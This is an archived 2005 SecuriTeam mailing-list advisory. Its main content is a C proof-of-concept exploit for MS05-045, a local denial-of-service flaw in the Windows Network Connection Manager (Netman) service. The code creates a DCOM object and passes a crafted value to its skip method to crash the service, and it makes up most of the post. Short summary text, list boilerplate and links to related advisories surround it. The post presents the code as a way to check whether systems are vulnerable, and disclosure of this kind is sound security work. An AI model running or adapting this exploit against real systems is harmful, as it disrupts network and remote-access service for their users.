[EXPL] Microsoft Windows Network Connection Manager Local DoS (Exploit, MS05-045)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/17/05

  • Next message: SecuriTeam: "[EXPL] Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)"
    To: list@securiteam.com
    Date: 17 Oct 2005 10:08:03 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Windows Network Connection Manager Local DoS (Exploit, MS05-045)
    ------------------------------------------------------------------------

    SUMMARY

    A denial of service vulnerability exists that could allow an attacker to
    send a specially crafted network packet to an affected Windows system. An
    attacker who successfully exploited this vulnerability could cause the
    component responsible for managing network and remote access connections
    to stop responding. If the affected component is stopped due to an attack,
    it will automatically restart when new requests are received. Read more
    about this vulnerability
    <http://www.securiteam.com/windowsntfocus/6N00J0KEAG.html> here.

    The following proof of concept can be used to verify whether your systems
    are vulnerable or not to the Microsoft Windows network connection manager
    denial of service or not.

    DETAILS

    Exploit:
    /* Windows Netman Service Local DOS Vulnerability
    *
    * By bkbll bkbll#cnhonker.net 2005-7-14 2:49
    *
    * TESTED ON win2k sp4
    *
    * EventSystem,Irmon,RasMan,NtmsSvc,SENS
    *
    */
    #define _WIN32_DCOM

    #include <stdio.h>
    #include <stdlib.h>
    #include <objbase.h>
    #include <unknwn.h>
    #include <windows.h>

    #pragma comment(lib,"ole32")

    MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
    VCConnectionManagerEnumConnection //: public IDispatch
    {
    public:
    virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
    virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
    virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
    virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
    virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
    };
    CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,
    {0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
    IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,
    {0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

    //
    main(int argc,char **argv)
    {
    VCConnectionManagerEnumConnection *clientcall;
    HRESULT hr;

    printf("Windows Netman Service Local DOS Vulnerability..\n\n");
    //
    CoInitializeEx(NULL,COINIT_MULTITHREADED);

    printf("DCOM Client Trying started\n");
    hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,
    CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
    if (hr != S_OK)
    {
    printf("CoCreateInstanceEx failed:%d\n",GetLastError());
    return -1;
    }
    printf("Exploit netman service ....\n");
    hr = clientcall->skip(0x80000001);//(void**)&p);
    if(SUCCEEDED(hr))
    {
    printf("Call client proc Success.\n");
    }
    else
    printf("Call client proc failed:%d\n",GetLastError());
    hr = clientcall->Release();
    CoUninitialize();
    printf("Client exited.\n");
    return 1;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)"

    Relevant Pages

    • [EXPL] Windows Netman Service Local DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Windows Netman service controlls the machine's ... printf("Call client proc Success.\n"); ...
      (Securiteam)
    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)